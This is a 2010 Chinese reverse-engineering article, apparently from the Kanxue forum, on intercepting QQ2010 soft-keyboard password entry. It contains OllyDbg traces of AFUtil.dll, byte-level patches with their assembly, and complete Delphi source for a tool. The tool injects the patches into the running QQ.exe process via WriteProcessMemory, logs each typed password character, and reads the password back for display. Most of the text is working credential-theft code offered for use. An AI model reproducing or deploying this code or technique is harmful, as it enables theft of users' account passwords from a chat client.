

# QQ2010软键盘拦截原理与实现

天易love

2010-9-22

## 一、程序运行截图

先运行QQ2010软键盘拦截工具，而后运行QQ.exe,这时程序显示“拦截开始”。

接着点开软键盘用鼠标输入，程序就会同步显示你输入的密码。



## 二、实现原理

当程序探测到qq登录框后就立即对qq进程中与软键盘实现相关的AFUtil.dll模块打上补丁。当你使用软键盘时输入密码时，每输入一个字符就会执行一次我的补丁代码（补丁功能就是将在所输入的字符在qq进程所在的内存中连接成一个字符串），拦截程序会定时读取该处内存的密码字符串并显示出来。

注意：该实现方法与qq版本密切相关，本人调试所用qq大小为149 KB（152,952 字节）。

## 三、调试过程

用od打开QQ.exe，在菜单中选择“查看-->内存”，如下图所示：

00400000	00001000	QQ		PE 文件头
00401000	00007000	QQ	.text	代码
00408000	00005000	QQ	.rdata	导入
0040D000	00006000	QQ	.data	数据
00413000	00011000	QQ	.rsrc	资源
00430000	00001000	AFUtil		PE 文件头
00431000	00073000	AFUtil	.text	代码

在阴影所在行上回车，来到AFUtil.dll所在的空间。用超级字符串功能查找unicode“nKey”，找到后在该处下断点。接着按f9运行起来，出现登录窗口后用软键盘随便输入一个字符将会在该处断下。单步几下经过call eax后在堆栈中就能看到你输入的字符的ascii码。继续单步进入第二个call eax：

0046BBB3	PUSH AFUtil.004B3570	f
0046BBB3	PUSH AFUtil.004B3570	nkey
0046BD13	PUSH AFUtil.004B357C	PwdEmpty
0046BD36	PUSH AFUtil.004B357C	PwdEmpty
0046BE0C	PUSH AFUtil.004B3590	LoginPanel_InputPswBeforeLogin
0046BE34	PUSH AFUtil.004ADCC4	TOPLEFT
0046BE48	PUSH AFUtil.004B357C	PwdEmpty
0046BF36	PUSH AFUtil.004A4E14	Addr-0x%x

0046BBB3	68 70354B00	PUSH AFUtil.004B3570	ESP 0012F6EC
0046BBB8	50	PUSH EAX	EBP 0012F6F0
0046BBB9	8B41 34	MOV EAX,DWORD PTR DS:[ECX+34]	ESI 01A34A30
0046BBBC	FFD0	CALL EAX	EDI 01A34A64
0046BBBE	8B46 20	MOV EAX,DWORD PTR DS:[ESI+20]	EIP 0046BBE1 AFUtil.0046BBE1
0046BBE1	8B55 08	MOV EDX,DWORD PTR SS:[EBP+8]	C 0 ES 0023 32 位 0(FFFFFFFF)
0046BBE4	8B08	MOV ECX,DWORD PTR DS:[EAX]	P 1 CS 001B 32 位 0(FFFFFFFF)
0046BBE6	52	PUSH EDX	A 0 SS 0023 32 位 0(FFFFFFFF)
0046BBE7	50	PUSH EAX	Z 1 DS 0023 32 位 0(FFFFFFFF)
0046BBE8	8B81 24030000	MOV EAX,DWORD PTR DS:[ECX+324]	S 0 FS 003B 32 位 7FFDE000(FFF)
0046BBE9	FFD0	CALL EAX	T 0 GS 0000 NULL
0046BBD0	5B	POP ESI	D 0
0046BBD1	5D	POP EBP	0 0 LastErr ERROR_SUCCESS (00000000)

  

DS: [01A34A50]=01A35718						
地址	十六进制			地址	值	注释
0040D000	98 A1 40 00	B0 83 40 00	00 00 00 00	2E 3F 41 56	0012F6EC	0046BEA0 AFUtil.0046BEA0
0040D010	74 79 70 65	5F 69 6E 66	6F 40 40 00	BD C3 0D 57	0012F6F0	0012F734
0040D020	42 3C F2 A8	FF FF FF FF	FF FF FF FF	FE FF FF FF	0012F6F4	0046D29E 返回到AFUtil.0046D29E
0040D030	01 00 00 00	00 00 00 00	98 A1 40 00	00 00 00 00	0012F6F8	00000034

第二个call eax中的内容如下：

00476700	55	PUSH EBP
00476701	8BEC	MOV EBP,ESP
00476703	8B4D 0C	MOV ECX,DWORD PTR SS:[EBP+C]
00476706	80F9 08	CMP CL,8 //判断是否输入 backspace //这里的CL就是我们需要的东东
00476709	75 24	JNZ SHORT AFUtil.0047672F
0047670B	8B45 08	MOV EAX,DWORD PTR SS:[EBP+8]
0047670E	8B40 20	MOV EAX,DWORD PTR DS:[EAX+20]
00476711	8B08	MOV ECX,DWORD PTR DS:[EAX]
00476713	8B51 1C	MOV EDX,DWORD PTR DS:[ECX+1C]
00476716	6A 12	PUSH 12
00476718	6A 08	PUSH 8

```

0047671A    68 02140000    PUSH 1402
0047671F    50              PUSH EAX
00476720    FFD2           CALL EDX
00476722    50              PUSH EAX
00476723    FF15 64484A00  CALL DWORD PTR DS: [<&USER32.PostMessageA>;
//向密码输入框发送按键消息

```

.....

注：如果你在软键盘上按下的是数字或字母则会先根据输入的字符查找qq初始化时生成的一张表，查到对应字符后再发送消息。得到该表的方法：在qq进程中搜索二进制串  
FF 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

0050F1B9	FF	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	...
0050F1C9	0F	10	11	12	13	14	15	16	17	18	19	1A	1B	1C	1D	1E	#+<↑   ↑↑↑↑→←
0050F1D9	1F	20	21	22	23	24	25	26	27	28	29	2A	2B	2C	2D	2E	!"#\$%&'()*+,-.
0050F1E9	2F	38	30	37	36	33	35	39	32	34	31	3A	3B	3C	3D	3E	/807635924[]:;<=>
0050F1F9	3F	40	55	56	47	58	4C	5A	59	49	4D	4A	46	44	54	4F	?@UVGXLZYIMTDTQ
0050F209	53	57	45	42	4B	4E	41	48	52	51	50	43	5B	5C	5D	5E	SWEBKNAHRQPC\ ]
0050F219	5F	68	60	67	66	63	65	69	62	64	61	6A	6B	6C	6D	6E	_h gfceibdajklmnr
0050F229	6F	70	71	72	73	74	75	76	77	78	79	7A	7B	7C	7D	7E	opqrstuvwxyz{}
0050F239	7F	80	81	82	83	84	85	86	87	88	89	8A	8B	8C	8D	8E	€当截序增榭媽嵯
0050F249	8F	90	91	92	93	94	95	96	97	98	99	9A	9B	9C	9D	9E	哥僚畏碗候榭待潜
0050F259	9F	A0	A1	A2	A3	A4	A5	A6	A7	A8	A9	AA	AB	AC	AD	AE	脛、丫ウ米；
0050F269	AF	B0	B1	B2	B3	B4	B5	B6	B7	B8	B9	BA	BB	BC	BD	BE	斐炒刀犯购患骄
0050F279	BF	C0	C1	C2	C3	C4	C5	C6	C7	C8	C9	CA	CB	CC	CD	CE	珂谅媚牌侨瑞颂馨
0050F289	CF	D0	D1	D2	D3	D4	D5	D6	D7	D8	D9	DA	DB	DC	DD	DE	闲岩袖罩棕全圮菁
0050F299	DF	E0	E1	E2	E3	E4	E5	E6	E7	E8	E9	EA	EB	EC	ED	EE	吟徕沅三玷脛腿暇
0050F2A9	EF	F0	F1	F2	F3	F4	F5	F6	F7	F8	F9	FA	FB	FC	FD	FE	糖糖箬谄融
0050F2B9	FF	00	00	00	00	00	00	24	01	22	00	7C	01	08	00	E8	.....\$r'. r.

#### 四、补丁位置及功能

```
patch1: array[0..4] of byte = ($E9,$73,$D8,$02,$00); //OFFSET_1 = $4670e;
```

汇编指令：

```
0047670e E973D80200 JMP AFUtil.004A3F86 //0047670e =00430000+4670e
```

```
patch2: array[0..36] of byte =
```

```
($8B,$40,$20,$8B,$08,$60,$33,$C0,$A1,$AB,$3F,$4A,$00,
$83,$F8,$01,$72,$0D,$48,$C6,$80,$AF,$3F,$4A,$00,$00,
$A3,$AB,$3F,$4A,$00,$61,$E9,$68,$27,$FD,$FF);
```

汇编指令：

```

004A3F86    8B40 20      MOV EAX,DWORD PTR DS:[EAX+20]
004A3F89    8B08        MOV ECX,DWORD PTR DS:[EAX]
004A3F8B    60          PUSHAD
004A3F8C    33C0        XOR EAX,EAX
004A3F8E    A1 AB3F4A00 MOV EAX,DWORD PTR DS:[4A3FAB]
004A3F93    83F8 01     CMP EAX,1
004A3F96    72 0D      JB SHORT AFUtil.004A3FA5
004A3F98    48          DEC EAX
004A3F99    C680 AF3F4A00 0>MOV BYTE PTR DS:[EAX+4A3FAF],0
004A3FA0    A3 AB3F4A00 MOV DWORD PTR DS:[4A3FAB],EAX
004A3FA5    61          POPAD
004A3FA6    ^ E9 6827FDFF JMP AFUtil.00476713

```

```
patch3: array[0..4] of byte = ($E9,$06,$D8,$02,$00);//OFFSET_3 =$4675a;
```

汇编指令：

```
0047675A E9 06D80200 JMP AFUtil.004A3F65
```

```
patch4: array[0..32] of byte =
```

```
( $51,$50,$8B,$42,$24,$60,$33,$C0,$A1,$AB,$3F,$4A,$00,$88, // OFFSET_4 =$73f65;  
$88,$AF,$3F,$4A,$00,$40,$A3,$AB,$3F,$4A,$00,$61,$E9,$DB,$27,$FD,$FF,$90,$90);
```

汇编指令：

```
004A3F65 51          PUSH ECX  
004A3F66 50          PUSH EAX  
004A3F67 8B42 24     MOV EAX,DWORD PTR DS:[EDX+24]  
004A3F6A 60          PUSHAD  
004A3F6B 33C0       XOR EAX,EAX  
004A3F6D A1 AB3F4A00 MOV EAX,DWORD PTR DS:[4A3FAB]  
004A3F72 8888 AF3F4A00 MOV BYTE PTR DS:[EAX+4A3FAF],CL  
004A3F78 40          INC EAX  
004A3F79 A3 AB3F4A00 MOV DWORD PTR DS:[4A3FAB],EAX  
004A3F7E 61          POPAD  
004A3F7F ^ E9 DB27FDFF JMP AFUtil.0047675F  
004A3F84 90          NOP  
004A3F85 90          NOP
```

以上4段补丁代码比较简单，不再赘述。只是记录软键盘输入的字符并连接起来，方便拦截程序定时读取。

最后附上delphi程序源代码，作为对看雪论坛的回报！错误难免，不要见笑！

```
unit Unit1;
```

```
interface
```

```
uses
```

```
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,  
StdCtrls, Mask, tlhelp32, ExtCtrls;
```

```
const
```

```
OFFSET_1 =$4670e;
```

```
OFFSET_2 =$73f86;
```

```
OFFSET_3 =$4675a;
```

```
OFFSET_4 =$73f65;
```

```
patch1: array[0..4] of byte = ($E9,$73,$D8,$02,$00);
```

```
patch2: array[0..36] of byte =
```

```
( $8B,$40,$20,$8B,$08,$60,$33,$C0,$A1,$AB,$3F,$4A,$00,  
$83,$F8,$01,$72,$0D,$48,$C6,$80,$AF,$3F,$4A,$00,$00,  
$A3,$AB,$3F,$4A,$00,$61,$E9,$68,$27,$FD,$FF);
```

```
patch3: array[0..4] of byte = ($E9,$06,$D8,$02,$00);
patch4: array[0..32] of byte =
($51,$50,$8B,$42,$24,$60,$33,$C0,$A1,$AB,$3F,$4A,$00,
$88,$88,$AF,$3F,$4A,$00,$40,$A3,$AB,$3F,$4A,$00,$61,
$E9,$DB,$27,$FD,$FF,$90,$90);
```

```
type
```

```
  TForm1 = class(TForm)
    Edit1: TEdit;
    Timer1: TTimer;
    Timer2: TTimer;
    Label2: TLabel;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
```

```
private
```

```
  { Private declarations }
```

```
public
```

```
  { Public declarations }
```

```
  FSnapshotHandle: THandle;
```

```
end;
```

```
var
```

```
  Form1: TForm1;
  target_module_base, PID: integer;
  target_Wnd: THandle;
```

```
implementation
```

```
{ $R *.DFM }
```

```
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
```

```
var
```

```
  ProcessHandle: THandle;
  nSize,addr,dwOldProtect: DWORD;
  mbi_thunk:TMemoryBasicInformation;
```

```
begin
```

```
  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, false, PID);
  addr:=target_module_base+OFFSET_1;
  nSize:=$2d8a0+$100;
```

```
  VirtualQueryEx(ProcessHandle,Pointer(addr),mbi_thunk, sizeof(TMemoryBasicInformation));
  VirtualProtectEx(ProcessHandle,Pointer(addr), nSize, mbi_thunk.Protect,dwOldProtect);
  CloseHandle(ProcessHandle);
```

```
end;
```

```

procedure TForm1.Timer1Timer(Sender: TObject);
var
  FProcessEntry32: TProcessEntry32;
  ModuleListHandle: THandle;
  ModuleStruct: TMODULEENTRY32;
  flag,yn: boolean;
  target,target_module:string;
begin
  target_Wnd:= FindWindow('TXGuiFoundation','QQ2010');
  if target_Wnd>0 then
    begin
      FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
      flag := Process32First(FSnapshotHandle, FProcessEntry32);
      while flag do
        begin
          target:= ExtractFileName(FProcessEntry32.szExeFile);
          if target='QQ.exe' then
            begin
              PID := FProcessEntry32.th32ProcessID;
              ModuleListHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, PID);
              ModuleStruct.dwSize := sizeof(ModuleStruct);
              yn := Module32First(ModuleListHandle, ModuleStruct);
              while (yn) do
                begin
                  target_module:=ExtractFileName(ModuleStruct.szExePath);
                  if target_module='AFUtil.dll' then
                    begin
                      target_module_base:=Integer(ModuleStruct.modBaseAddr);
                      if my_patch then
                        begin
                          Label2.Caption:='      拦截开始!';
                          Edit1.Text:='';
                          timer1.Enabled:=false;
                          timer2.Enabled:=true;
                          break;
                        end;
                    end;
                  yn := Module32Next(ModuleListHandle, ModuleStruct);
                end;
              CloseHandle(ModuleListHandle);
              break;
            end; //if
          flag := Process32Next(FSnapshotHandle, FProcessEntry32);
        end;
      CloseHandle(FSnapshotHandle);
    end;
end;

```

```

function my_patch:boolean;
var
  ProcessHandle: THandle;
  nSize, lpNumberOfBytes, addr: DWORD;
  mbi_thunk: TMemoryBasicInformation;
begin
  result:=true;
  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, false, PID);
  addr:=target_module_base+OFFSET_1;
  nSize:=$2d8a0+$100;

  VirtualQueryEx(ProcessHandle,Pointer(addr),mbi_thunk, sizeof(TMemoryBasicInformation));
  VirtualProtectEx(ProcessHandle,Pointer(addr),nSize,PAGE_EXECUTE_READWRITE,mbi_thunk.Protect);

  if not WriteProcessMemory(ProcessHandle, Pointer(target_module_base+OFFSET_1),
    @patch1, sizeof(patch1), lpNumberOfBytes)
    then result:=false;

  if not WriteProcessMemory(ProcessHandle, Pointer(target_module_base+OFFSET_2),
    @patch2, sizeof(patch2), lpNumberOfBytes)
    then result:=false;

  if not WriteProcessMemory(ProcessHandle, Pointer(target_module_base+OFFSET_3),
    @patch3, sizeof(patch3), lpNumberOfBytes)
    then result:=false;

  if not WriteProcessMemory(ProcessHandle, Pointer(target_module_base+OFFSET_4),
    @patch4, sizeof(patch4), lpNumberOfBytes)
    then result:=false;

  CloseHandle(ProcessHandle);
end;

```

```

procedure TForm1.FormCreate(Sender: TObject);
begin
  Label2.Caption:='QQ2010软键盘拦截演示程序';
end;

```

```
procedure TForm1.Timer2Timer(Sender: TObject);
var
  ProcessHandle: THandle;
  lpBuffer: pchar;
  lpNumberOfBytes: DWORD;
  s:string;
begin
  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, false, PID);
  lpBuffer := AllocMem($20);
  ReadProcessMemory(ProcessHandle, Pointer(target_module_base+$73faf),
    lpBuffer, $20, lpNumberOfBytes);
  s:= strpas(lpBuffer);
  Edit1.Text:=s;
  FreeMem(lpBuffer, $20);
  CloseHandle(ProcessHandle);
  target_Wnd:= FindWindow('TXGuiFoundation', 'QQ2010');
  if target_Wnd=0 then
    begin
      timer2.Enabled:=false;
      Label2.Caption:='      拦截结束!';
      timer1.Enabled:=true;
    end;
end;
end.
```

中秋佳节难团聚，谨以此文献给关心我和我关心的人！